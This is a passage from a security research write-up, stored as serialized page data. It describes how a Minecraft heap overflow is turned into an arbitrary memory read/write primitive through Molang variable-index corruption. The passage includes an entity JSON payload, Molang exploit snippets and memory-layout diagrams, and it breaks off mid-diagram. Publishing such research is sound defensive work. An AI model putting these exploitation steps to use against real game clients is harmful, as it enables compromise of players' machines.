",{"type":20,"tag":119,"props":151415,"children":151417},{"className":151416},[],[151418],{"type":26,"value":151362},{"type":20,"tag":72,"props":151420,"children":151421},{},[151422,151424],{"type":26,"value":151423},"If not found, creates a new global entry and assigns it ",{"type":20,"tag":119,"props":151425,"children":151427},{"className":151426},[],[151428],{"type":26,"value":151429},"last_index + 1",{"type":20,"tag":29,"props":151431,"children":151432},{},[151433,151435,151440,151442,151447,151449,151454,151456,151461,151463,151468,151469,151475,151477,151482],{"type":26,"value":151434},"This means the same global index for variable ",{"type":20,"tag":119,"props":151436,"children":151438},{"className":151437},[],[151439],{"type":26,"value":7480},{"type":26,"value":151441}," maps to the same position inside every entity’s ",{"type":20,"tag":119,"props":151443,"children":151445},{"className":151444},[],[151446],{"type":26,"value":151362},{"type":26,"value":151448},", but the actual ",{"type":20,"tag":119,"props":151450,"children":151452},{"className":151451},[],[151453],{"type":26,"value":150859},{"type":26,"value":151455}," for ",{"type":20,"tag":119,"props":151457,"children":151459},{"className":151458},[],[151460],{"type":26,"value":7480},{"type":26,"value":151462}," may live at different slots inside each entity's ",{"type":20,"tag":119,"props":151464,"children":151466},{"className":151465},[],[151467],{"type":26,"value":151186},{"type":26,"value":16935},{"type":20,"tag":119,"props":151470,"children":151472},{"className":151471},[],[151473],{"type":26,"value":151474},"Entity.MolangIndexMap[global_index]",{"type":26,"value":151476}," stores the per-entity index (slot) of variable ",{"type":20,"tag":119,"props":151478,"children":151480},{"className":151479},[],[151481],{"type":26,"value":7480},{"type":26,"value":61},{"type":20,"tag":29,"props":151484,"children":151485},{},[151486,151488,151493,151495,151500,151502,151507,151509,151514,151516,151522,151524,151529],{"type":26,"value":151487},"Importantly, we found that indices in the ",{"type":20,"tag":119,"props":151489,"children":151491},{"className":151490},[],[151492],{"type":26,"value":151362},{"type":26,"value":151494}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":20,"tag":119,"props":151496,"children":151498},{"className":151497},[],[151499],{"type":26,"value":151186},{"type":26,"value":151501},". This means that if we overwrite the index of variable ",{"type":20,"tag":119,"props":151503,"children":151505},{"className":151504},[],[151506],{"type":26,"value":7480},{"type":26,"value":151508}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":20,"tag":119,"props":151510,"children":151512},{"className":151511},[],[151513],{"type":26,"value":151186},{"type":26,"value":151515},", we could read from and write to ",{"type":20,"tag":119,"props":151517,"children":151519},{"className":151518},[],[151520],{"type":26,"value":151521},"address + 0x38",{"type":26,"value":151523}," through ",{"type":20,"tag":119,"props":151525,"children":151527},{"className":151526},[],[151528],{"type":26,"value":151354},{"type":26,"value":61},{"type":20,"tag":219,"props":151531,"children":151533},{"id":151532},"building-a-molang-arbitrary-rw-primitive",[151534],{"type":26,"value":151535},"Building a Molang Arbitrary R/W Primitive",{"type":20,"tag":29,"props":151537,"children":151538},{},[151539,151541,151546,151548,151553],{"type":26,"value":151540},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":20,"tag":119,"props":151542,"children":151544},{"className":151543},[],[151545],{"type":26,"value":151216},{"type":26,"value":151547}," - specifically, of ",{"type":20,"tag":119,"props":151549,"children":151551},{"className":151550},[],[151552],{"type":26,"value":151186},{"type":26,"value":151554}," vector.",{"type":20,"tag":29,"props":151556,"children":151557},{},[151558,151560,151565,151567,151572,151573,151578,151580,151585],{"type":26,"value":151559},"Because every entity object is heap-allocated and contains a ",{"type":20,"tag":119,"props":151561,"children":151563},{"className":151562},[],[151564],{"type":26,"value":151186},{"type":26,"value":151566}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":20,"tag":119,"props":151568,"children":151570},{"className":151569},[],[151571],{"type":26,"value":148382},{"type":26,"value":54044},{"type":20,"tag":119,"props":151574,"children":151576},{"className":151575},[],[151577],{"type":26,"value":151186},{"type":26,"value":151579}," vector belonging to an entity object placed just next the ",{"type":20,"tag":119,"props":151581,"children":151583},{"className":151582},[],[151584],{"type":26,"value":151186},{"type":26,"value":151586}," allocated buffer.",{"type":20,"tag":305,"props":151588,"children":151590},{"code":151589}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[151591],{"type":20,"tag":119,"props":151592,"children":151593},{"__ignoreMap":7},[151594],{"type":26,"value":151589},{"type":20,"tag":29,"props":151596,"children":151597},{},[151598,151600,151605,151607,151613,151615,151620,151621,151627,151628,151633,151635,151640,151642,151647,151649,151654,151656,151661,151663,151668,151670,151675,151677,151683,151685,151690,151692,151697],{"type":26,"value":151599},"In the scenario above, the ",{"type":20,"tag":119,"props":151601,"children":151603},{"className":151602},[],[151604],{"type":26,"value":151362},{"type":26,"value":151606}," would map ",{"type":20,"tag":119,"props":151608,"children":151610},{"className":151609},[],[151611],{"type":26,"value":151612},"variable.a",{"type":26,"value":151614}," -> index ",{"type":20,"tag":119,"props":151616,"children":151618},{"className":151617},[],[151619],{"type":26,"value":1063},{"type":26,"value":44},{"type":20,"tag":119,"props":151622,"children":151624},{"className":151623},[],[151625],{"type":26,"value":151626},"variable.b",{"type":26,"value":151614},{"type":20,"tag":119,"props":151629,"children":151631},{"className":151630},[],[151632],{"type":26,"value":2406},{"type":26,"value":151634},", and so on. If we overwrite the index for ",{"type":20,"tag":119,"props":151636,"children":151638},{"className":151637},[],[151639],{"type":26,"value":151612},{"type":26,"value":151641}," with a value that is out-of-bounds for the ",{"type":20,"tag":119,"props":151643,"children":151645},{"className":151644},[],[151646],{"type":26,"value":151186},{"type":26,"value":151648},", it can instead index the ",{"type":20,"tag":119,"props":151650,"children":151652},{"className":151651},[],[151653],{"type":26,"value":148382},{"type":26,"value":151655}," field of the entity object above. Reading ",{"type":20,"tag":119,"props":151657,"children":151659},{"className":151658},[],[151660],{"type":26,"value":151612},{"type":26,"value":151662}," will then return the pointer stored at offset ",{"type":20,"tag":119,"props":151664,"children":151666},{"className":151665},[],[151667],{"type":26,"value":151120},{"type":26,"value":151669}," from the start of the ",{"type":20,"tag":119,"props":151671,"children":151673},{"className":151672},[],[151674],{"type":26,"value":151186},{"type":26,"value":151676}," (which in this diagram corresponds to ",{"type":20,"tag":119,"props":151678,"children":151680},{"className":151679},[],[151681],{"type":26,"value":151682},"variable.f",{"type":26,"value":151684},"), and writing to ",{"type":20,"tag":119,"props":151686,"children":151688},{"className":151687},[],[151689],{"type":26,"value":151612},{"type":26,"value":151691}," will overwrite that pointer - corrupting ",{"type":20,"tag":119,"props":151693,"children":151695},{"className":151694},[],[151696],{"type":26,"value":151682},{"type":26,"value":61},{"type":20,"tag":29,"props":151699,"children":151700},{},[151701,151703,151708,151709,151715,151717,151722,151724,151730,151732,151737,151739,151744,151746,151752,151754,151760,151762,151767],{"type":26,"value":151702},"To leak the address of the Minecraft executable we could increment ",{"type":20,"tag":119,"props":151704,"children":151706},{"className":151705},[],[151707],{"type":26,"value":151612},{"type":26,"value":463},{"type":20,"tag":119,"props":151710,"children":151712},{"className":151711},[],[151713],{"type":26,"value":151714},"variable.a += 8",{"type":26,"value":151716},"), which advances the pointer used for ",{"type":20,"tag":119,"props":151718,"children":151720},{"className":151719},[],[151721],{"type":26,"value":151682},{"type":26,"value":151723}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":20,"tag":119,"props":151725,"children":151727},{"className":151726},[],[151728],{"type":26,"value":151729},"variable.a = variable.exe_leak + \u003Coffset>",{"type":26,"value":151731}," - this updates the ",{"type":20,"tag":119,"props":151733,"children":151735},{"className":151734},[],[151736],{"type":26,"value":151682},{"type":26,"value":151738}," pointer to our chosen address, and writing to ",{"type":20,"tag":119,"props":151740,"children":151742},{"className":151741},[],[151743],{"type":26,"value":151682},{"type":26,"value":151745},", for example ",{"type":20,"tag":119,"props":151747,"children":151749},{"className":151748},[],[151750],{"type":26,"value":151751},"variable.f = 1337",{"type":26,"value":151753},", writes the value ",{"type":20,"tag":119,"props":151755,"children":151757},{"className":151756},[],[151758],{"type":26,"value":151759},"1337",{"type":26,"value":151761}," to offset ",{"type":20,"tag":119,"props":151763,"children":151765},{"className":151764},[],[151766],{"type":26,"value":151120},{"type":26,"value":151768}," from that calculated address.",{"type":20,"tag":17297,"props":151770,"children":151772},{"id":151771},"testing-the-idea",[151773],{"type":26,"value":151774},"Testing the Idea",{"type":20,"tag":29,"props":151776,"children":151777},{},[151778,151780,151785,151787,151792,151794,151799],{"type":26,"value":151779},"We tested the idea by manually adding a pointer to the start of ",{"type":20,"tag":119,"props":151781,"children":151783},{"className":151782},[],[151784],{"type":26,"value":151186},{"type":26,"value":151786}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":20,"tag":55,"props":151788,"children":151789},{},[151790],{"type":26,"value":151791},"almost",{"type":26,"value":151793}," worked - below is the state of the ",{"type":20,"tag":119,"props":151795,"children":151797},{"className":151796},[],[151798],{"type":26,"value":151186},{"type":26,"value":151800},"'s allocated buffer before the Molang script executes:",{"type":20,"tag":29,"props":151802,"children":151803},{},[151804],{"type":20,"tag":2308,"props":151805,"children":151807},{"alt":48830,"src":151806},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":20,"tag":29,"props":151809,"children":151810},{},[151811],{"type":26,"value":151812},"And this is after execution:",{"type":20,"tag":29,"props":151814,"children":151815},{},[151816],{"type":20,"tag":2308,"props":151817,"children":151819},{"alt":48830,"src":151818},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":20,"tag":29,"props":151821,"children":151822},{},[151823],{"type":26,"value":151824},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":20,"tag":305,"props":151826,"children":151828},{"code":151827,"language":32412,"meta":7,"className":32410,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[151829],{"type":20,"tag":119,"props":151830,"children":151831},{"__ignoreMap":7},[151832,151839,151860,151872,151884,151905,151912,151919,151926,151938,151951,151963,151975,151987,152003,152010,152022,152030,152038,152045,152052,152059],{"type":20,"tag":315,"props":151833,"children":151834},{"class":317,"line":318},[151835],{"type":20,"tag":315,"props":151836,"children":151837},{"style":328},[151838],{"type":26,"value":723},{"type":20,"tag":315,"props":151840,"children":151841},{"class":317,"line":356},[151842,151847,151851,151856],{"type":20,"tag":315,"props":151843,"children":151844},{"style":635},[151845],{"type":26,"value":151846}," \"format_version\"",{"type":20,"tag":315,"props":151848,"children":151849},{"style":328},[151850],{"type":26,"value":13732},{"type":20,"tag":315,"props":151852,"children":151853},{"style":2652},[151854],{"type":26,"value":151855},"\"1.10.0\"",{"type":20,"tag":315,"props":151857,"children":151858},{"style":328},[151859],{"type":26,"value":643},{"type":20,"tag":315,"props":151861,"children":151862},{"class":317,"line":365},[151863,151868],{"type":20,"tag":315,"props":151864,"children":151865},{"style":635},[151866],{"type":26,"value":151867}," \"minecraft:client_entity\"",{"type":20,"tag":315,"props":151869,"children":151870},{"style":328},[151871],{"type":26,"value":35438},{"type":20,"tag":315,"props":151873,"children":151874},{"class":317,"line":374},[151875,151880],{"type":20,"tag":315,"props":151876,"children":151877},{"style":635},[151878],{"type":26,"value":151879}," \"description\"",{"type":20,"tag":315,"props":151881,"children":151882},{"style":328},[151883],{"type":26,"value":35438},{"type":20,"tag":315,"props":151885,"children":151886},{"class":317,"line":383},[151887,151892,151896,151901],{"type":20,"tag":315,"props":151888,"children":151889},{"style":635},[151890],{"type":26,"value":151891}," \"identifier\"",{"type":20,"tag":315,"props":151893,"children":151894},{"style":328},[151895],{"type":26,"value":13732},{"type":20,"tag":315,"props":151897,"children":151898},{"style":2652},[151899],{"type":26,"value":151900},"\"minecraft:leash_knot\"",{"type":20,"tag":315,"props":151902,"children":151903},{"style":328},[151904],{"type":26,"value":643},{"type":20,"tag":315,"props":151906,"children":151907},{"class":317,"line":407},[151908],{"type":20,"tag":315,"props":151909,"children":151910},{"emptyLinePlaceholder":15},[151911],{"type":26,"value":427},{"type":20,"tag":315,"props":151913,"children":151914},{"class":317,"line":421},[151915],{"type":20,"tag":315,"props":151916,"children":151917},{"style":20811},[151918],{"type":26,"value":125699},{"type":20,"tag":315,"props":151920,"children":151921},{"class":317,"line":430},[151922],{"type":20,"tag":315,"props":151923,"children":151924},{"style":328},[151925],{"type":26,"value":151009},{"type":20,"tag":315,"props":151927,"children":151928},{"class":317,"line":453},[151929,151934],{"type":20,"tag":315,"props":151930,"children":151931},{"style":635},[151932],{"type":26,"value":151933}," \"scripts\"",{"type":20,"tag":315,"props":151935,"children":151936},{"style":328},[151937],{"type":26,"value":35438},{"type":20,"tag":315,"props":151939,"children":151940},{"class":317,"line":486},[151941,151946],{"type":20,"tag":315,"props":151942,"children":151943},{"style":635},[151944],{"type":26,"value":151945}," \"initialize\"",{"type":20,"tag":315,"props":151947,"children":151948},{"style":328},[151949],{"type":26,"value":151950},": [\n",{"type":20,"tag":315,"props":151952,"children":151953},{"class":317,"line":499},[151954,151959],{"type":20,"tag":315,"props":151955,"children":151956},{"style":2652},[151957],{"type":26,"value":151958}," \"variable.a = 0;\"",{"type":20,"tag":315,"props":151960,"children":151961},{"style":328},[151962],{"type":26,"value":643},{"type":20,"tag":315,"props":151964,"children":151965},{"class":317,"line":513},[151966,151971],{"type":20,"tag":315,"props":151967,"children":151968},{"style":2652},[151969],{"type":26,"value":151970}," \"variable.b = 0;\"",{"type":20,"tag":315,"props":151972,"children":151973},{"style":328},[151974],{"type":26,"value":643},{"type":20,"tag":315,"props":151976,"children":151977},{"class":317,"line":521},[151978,151983],{"type":20,"tag":315,"props":151979,"children":151980},{"style":2652},[151981],{"type":26,"value":151982}," \"variable.c = 0;\"",{"type":20,"tag":315,"props":151984,"children":151985},{"style":328},[151986],{"type":26,"value":643},{"type":20,"tag":315,"props":151988,"children":151989},{"class":317,"line":552},[151990,151995,151999],{"type":20,"tag":315,"props":151991,"children":151992},{"style":328},[151993],{"type":26,"value":151994}," [",{"type":20,"tag":315,"props":151996,"children":151997},{"style":20811},[151998],{"type":26,"value":7990},{"type":20,"tag":315,"props":152000,"children":152001},{"style":328},[152002],{"type":26,"value":10173},{"type":20,"tag":315,"props":152004,"children":152005},{"class":317,"line":571},[152006],{"type":20,"tag":315,"props":152007,"children":152008},{"style":328},[152009],{"type":26,"value":42068},{"type":20,"tag":315,"props":152011,"children":152012},{"class":317,"line":2031},[152013,152018],{"type":20,"tag":315,"props":152014,"children":152015},{"style":635},[152016],{"type":26,"value":152017}," \"pre_animation\"",{"type":20,"tag":315,"props":152019,"children":152020},{"style":328},[152021],{"type":26,"value":151950},{"type":20,"tag":315,"props":152023,"children":152024},{"class":317,"line":2053},[152025],{"type":20,"tag":315,"props":152026,"children":152027},{"style":2652},[152028],{"type":26,"value":152029}," \"variable.a = 2.310732e-27;\"\n",{"type":20,"tag":315,"props":152031,"children":152032},{"class":317,"line":2061},[152033],{"type":20,"tag":315,"props":152034,"children":152035},{"style":328},[152036],{"type":26,"value":152037}," ]\n",{"type":20,"tag":315,"props":152039,"children":152040},{"class":317,"line":2070},[152041],{"type":20,"tag":315,"props":152042,"children":152043},{"style":328},[152044],{"type":26,"value":35615},{"type":20,"tag":315,"props":152046,"children":152047},{"class":317,"line":2139},[152048],{"type":20,"tag":315,"props":152049,"children":152050},{"style":328},[152051],{"type":26,"value":1736},{"type":20,"tag":315,"props":152053,"children":152054},{"class":317,"line":2147},[152055],{"type":20,"tag":315,"props":152056,"children":152057},{"style":328},[152058],{"type":26,"value":4265},{"type":20,"tag":315,"props":152060,"children":152061},{"class":317,"line":2177},[152062],{"type":20,"tag":315,"props":152063,"children":152064},{"style":328},[152065],{"type":26,"value":577},{"type":20,"tag":29,"props":152067,"children":152068},{},[152069,152071,152076,152078,152083,152085,152090],{"type":26,"value":152070},"As shown, the pointer of a variable at offset ",{"type":20,"tag":119,"props":152072,"children":152074},{"className":152073},[],[152075],{"type":26,"value":151120},{"type":26,"value":152077}," was modified and the core concept works. During ",{"type":20,"tag":119,"props":152079,"children":152081},{"className":152080},[],[152082],{"type":26,"value":151078},{"type":26,"value":152084}," copy, pointers of some other variables above offset ",{"type":20,"tag":119,"props":152086,"children":152088},{"className":152087},[],[152089],{"type":26,"value":151120},{"type":26,"value":152091}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":20,"tag":29,"props":152093,"children":152094},{},[152095],{"type":26,"value":152096},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":20,"tag":15089,"props":152098,"children":152099},{},[152100,152113],{"type":20,"tag":72,"props":152101,"children":152102},{},[152103,152105,152111],{"type":26,"value":152104},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":20,"tag":119,"props":152106,"children":152108},{"className":152107},[],[152109],{"type":26,"value":152110},"FLT_MAX",{"type":26,"value":152112},", the value becomes an invalid float causing the increment operation to fail.",{"type":20,"tag":72,"props":152114,"children":152115},{},[152116,152118,152123,152125,152130,152131,152136,152138,152143],{"type":26,"value":152117},"As noted before, during assignment, ",{"type":20,"tag":119,"props":152119,"children":152121},{"className":152120},[],[152122],{"type":26,"value":151078},{"type":26,"value":152124}," fields are copied, and the ",{"type":20,"tag":119,"props":152126,"children":152128},{"className":152127},[],[152129],{"type":26,"value":37568},{"type":26,"value":151168},{"type":20,"tag":119,"props":152132,"children":152134},{"className":152133},[],[152135],{"type":26,"value":53887},{"type":26,"value":152137},". Since our source ",{"type":20,"tag":119,"props":152139,"children":152141},{"className":152140},[],[152142],{"type":26,"value":151078},{"type":26,"value":152144}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":20,"tag":29,"props":152146,"children":152147},{},[152148],{"type":26,"value":152149},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":20,"tag":17297,"props":152151,"children":152153},{"id":152152},"expanding-the-idea",[152154],{"type":26,"value":152155},"Expanding the Idea",{"type":20,"tag":29,"props":152157,"children":152158},{},[152159,152161,152166,152168,152173,152174,152179,152181,152186],{"type":26,"value":152160},"As mentioned earlier, the ",{"type":20,"tag":119,"props":152162,"children":152164},{"className":152163},[],[152165],{"type":26,"value":31170},{"type":26,"value":152167}," field of ",{"type":20,"tag":119,"props":152169,"children":152171},{"className":152170},[],[152172],{"type":26,"value":151078},{"type":26,"value":13845},{"type":20,"tag":119,"props":152175,"children":152177},{"className":152176},[],[152178],{"type":26,"value":56186},{"type":26,"value":152180},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":20,"tag":119,"props":152182,"children":152184},{"className":152183},[],[152185],{"type":26,"value":37568},{"type":26,"value":152187}," field remain unchanged before and after Molang execution.",{"type":20,"tag":29,"props":152189,"children":152190},{},[152191,152193,152198],{"type":26,"value":152192},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":20,"tag":119,"props":152194,"children":152196},{"className":152195},[],[152197],{"type":26,"value":151186},{"type":26,"value":152199},"’s allocated buffer + 4.",{"type":20,"tag":29,"props":152201,"children":152202},{},[152203,152205,152210,152212,152217,152219,152224,152225,152231],{"type":26,"value":152204},"In the example below, ",{"type":20,"tag":119,"props":152206,"children":152208},{"className":152207},[],[152209],{"type":26,"value":151612},{"type":26,"value":152211}," points to ",{"type":20,"tag":119,"props":152213,"children":152215},{"className":152214},[],[152216],{"type":26,"value":151186},{"type":26,"value":152218},", while ",{"type":20,"tag":119,"props":152220,"children":152222},{"className":152221},[],[152223],{"type":26,"value":151626},{"type":26,"value":152211},{"type":20,"tag":119,"props":152226,"children":152228},{"className":152227},[],[152229],{"type":26,"value":152230},"MolangVariableMap + 4",{"type":26,"value":2884},{"type":20,"tag":305,"props":152233,"children":152235},{"code":152234}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[152236],{"type":20,"tag":119,"props":152237,"children":152238},{"__ignoreMap":7},[152239],{"type":26,"value":152234},{"type":20,"tag":29,"props":152241,"children":152242},{},[152243,152245,152250,152251,152256,152258,152263,152265,152270,152272,152277],{"type":26,"value":152244},"Here, the ",{"type":20,"tag":119,"props":152246,"children":152248},{"className":152247},[],[152249],{"type":26,"value":37568},{"type":26,"value":152167},{"type":20,"tag":119,"props":152252,"children":152254},{"className":152253},[],[152255],{"type":26,"value":151612},{"type":26,"value":152257}," starts at the lower 32 bits of the ",{"type":20,"tag":119,"props":152259,"children":152261},{"className":152260},[],[152262],{"type":26,"value":151682},{"type":26,"value":152264}," pointer, while ",{"type":20,"tag":119,"props":152266,"children":152268},{"className":152267},[],[152269],{"type":26,"value":151626},{"type":26,"value":152271}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":20,"tag":119,"props":152273,"children":152275},{"className":152274},[],[152276],{"type":26,"value":151682},{"type":26,"value":152278}," pointer in a separate variable:",{"type":20,"tag":305,"props":152280,"children":152282},{"code":152281},"variable.saved_upper_32 = variable.b;\n",[152283],{"type":20,"tag":119,"props":152284,"children":152285},{"__ignoreMap":7},[152286],{"type":26,"value":152281},{"type":20,"tag":29,"props":152288,"children":152289},{},[152290],{"type":26,"value":152291},"Then we can modify the lower 32 bits of the pointer:",{"type":20,"tag":305,"props":152293,"children":152295},{"code":152294},"variable.a = variable.a + itof(0x8);\n",[152296],{"type":20,"tag":119,"props":152297,"children":152298},{"__ignoreMap":7},[152299],{"type":26,"value":152294},{"type":20,"tag":29,"props":152301,"children":152302},{},[152303],{"type":26,"value":152304},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":20,"tag":305,"props":152306,"children":152308},{"code":152307}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[152309],{"type":20,"tag":119,"props":152310,"children":152311},{"__ignoreMap":7},[152312],{"type":26,"value":152307},{"type":20,"tag":29,"props":152314,"children":152315},{},[152316,152318,152323],{"type":26,"value":152317},"Since the 32 bits directly below the ",{"type":20,"tag":119,"props":152319,"children":152321},{"className":152320},[],[152322],{"type":26,"value":37568},{"type":26,"value":152324}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":20,"tag":305,"props":152326,"children":152328},{"code":152327},"variable.b = variable.saved_upper_32;\n",[152329],{"type":20,"tag":119,"props":152330,"children":152331},{"__ignoreMap":7},[152332],{"type":26,"value":152327},{"type":20,"tag":29,"props":152334,"children":152335},{},[152336,152338,152343],{"type":26,"value":152337},"Now ",{"type":20,"tag":119,"props":152339,"children":152341},{"className":152340},[],[152342],{"type":26,"value":151682},{"type":26,"value":152344}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":20,"tag":305,"props":152346,"children":152348},{"code":152347}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[152349],{"type":20,"tag":119,"props":152350,"children":152351},{"__ignoreMap":7},[152352],{"type":26,"value":152347},{"type":20,"tag":29,"props":152354,"children":152355},{},[152356,152358,152363],{"type":26,"value":152357},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":20,"tag":119,"props":152359,"children":152361},{"className":152360},[],[152362],{"type":26,"value":152230},{"type":26,"value":152364}," on the heap?",{"type":20,"tag":29,"props":152366,"children":152367},{},[152368,152370,152375,152377,152383],{"type":26,"value":152369},"Additionally, adding 8 to ",{"type":20,"tag":119,"props":152371,"children":152373},{"className":152372},[],[152374],{"type":26,"value":151612},{"type":26,"value":152376}," in the example above wouldn’t work because ",{"type":20,"tag":119,"props":152378,"children":152380},{"className":152379},[],[152381],{"type":26,"value":152382},"0xddccbba0",{"type":26,"value":152384}," is not a valid float. So the first issue still remains unresolved.",{"type":20,"tag":17297,"props":152386,"children":152388},{"id":152387},"the-final-approach",[152389],{"type":26,"value":152390},"The Final Approach",{"type":20,"tag":29,"props":152392,"children":152393},{},[152394,152396,152401,152403,152409],{"type":26,"value":152395},"We realized that instead of having the second pointer at ",{"type":20,"tag":119,"props":152397,"children":152399},{"className":152398},[],[152400],{"type":26,"value":152230},{"type":26,"value":152402},", we could instead have it at ",{"type":20,"tag":119,"props":152404,"children":152406},{"className":152405},[],[152407],{"type":26,"value":152408},"MolangVariableMap + 2",{"type":26,"value":152410},", which would resolve both of our issues.",{"type":20,"tag":29,"props":152412,"children":152413},{},[152414,152416,152421,152422,152427],{"type":26,"value":152415},"Let’s revisit the previous example, but this time ",{"type":20,"tag":119,"props":152417,"children":152419},{"className":152418},[],[152420],{"type":26,"value":151626},{"type":26,"value":152211},{"type":20,"tag":119,"props":152423,"children":152425},{"className":152424},[],[152426],{"type":26,"value":152408},{"type":26,"value":2884},{"type":20,"tag":305,"props":152429,"children":152431},{"code":152430}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152432],{"type":20,"tag":119,"props":152433,"children":152434},{"__ignoreMap":7},[152435],{"type":26,"value":152430},{"type":20,"tag":29,"props":152437,"children":152438},{},[152439,152441,152446],{"type":26,"value":152440},"With this setup, we can calculate any address relative to ",{"type":20,"tag":119,"props":152442,"children":152444},{"className":152443},[],[152445],{"type":26,"value":151682},{"type":26,"value":152447}," by first saving the upper 48 bits of the address:",{"type":20,"tag":305,"props":152449,"children":152451},{"code":152450},"variable.saved_upper_48 = variable.b;\n",[152452],{"type":20,"tag":119,"props":152453,"children":152454},{"__ignoreMap":7},[152455],{"type":26,"value":152450},{"type":20,"tag":29,"props":152457,"children":152458},{},[152459,152460,152466,152468,152474],{"type":26,"value":128088},{"type":20,"tag":119,"props":152461,"children":152463},{"className":152462},[],[152464],{"type":26,"value":152465},"variable.saved_upper_48",{"type":26,"value":152467}," holds the value ",{"type":20,"tag":119,"props":152469,"children":152471},{"className":152470},[],[152472],{"type":26,"value":152473},"0x1c80ddcc",{"type":26,"value":61},{"type":20,"tag":29,"props":152476,"children":152477},{},[152478],{"type":26,"value":152479},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":20,"tag":305,"props":152481,"children":152483},{"code":152482},"variable.b = 0;\n",[152484],{"type":20,"tag":119,"props":152485,"children":152486},{"__ignoreMap":7},[152487],{"type":26,"value":152482},{"type":20,"tag":29,"props":152489,"children":152490},{},[152491],{"type":26,"value":152492},"Resulting in the following state:",{"type":20,"tag":305,"props":152494,"children":152496},{"code":152495}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152497],{"type":20,"tag":119,"props":152498,"children":152499},{"__ignoreMap":7},[152500],{"type":26,"value":152495},{"type":20,"tag":29,"props":152502,"children":152503},{},[152504,152506,152511,152513,152519,152521,152526],{"type":26,"value":152505},"Now, the value of ",{"type":20,"tag":119,"props":152507,"children":152509},{"className":152508},[],[152510],{"type":26,"value":151612},{"type":26,"value":152512}," only spans 16 bits (",{"type":20,"tag":119,"props":152514,"children":152516},{"className":152515},[],[152517],{"type":26,"value":152518},"0xbba0",{"type":26,"value":152520}," specifically), which is always a valid float since it’s far below ",{"type":20,"tag":119,"props":152522,"children":152524},{"className":152523},[],[152525],{"type":26,"value":152110},{"type":26,"value":61},{"type":20,"tag":29,"props":152528,"children":152529},{},[152530,152532,152537],{"type":26,"value":152531},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":20,"tag":119,"props":152533,"children":152535},{"className":152534},[],[152536],{"type":26,"value":151612},{"type":26,"value":2884},{"type":20,"tag":305,"props":152539,"children":152540},{"code":152294},[152541],{"type":20,"tag":119,"props":152542,"children":152543},{"__ignoreMap":7},[152544],{"type":26,"value":152294},{"type":20,"tag":29,"props":152546,"children":152547},{},[152548],{"type":26,"value":152549},"Which results in:",{"type":20,"tag":305,"props":152551,"children":152553},{"code":152552}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | 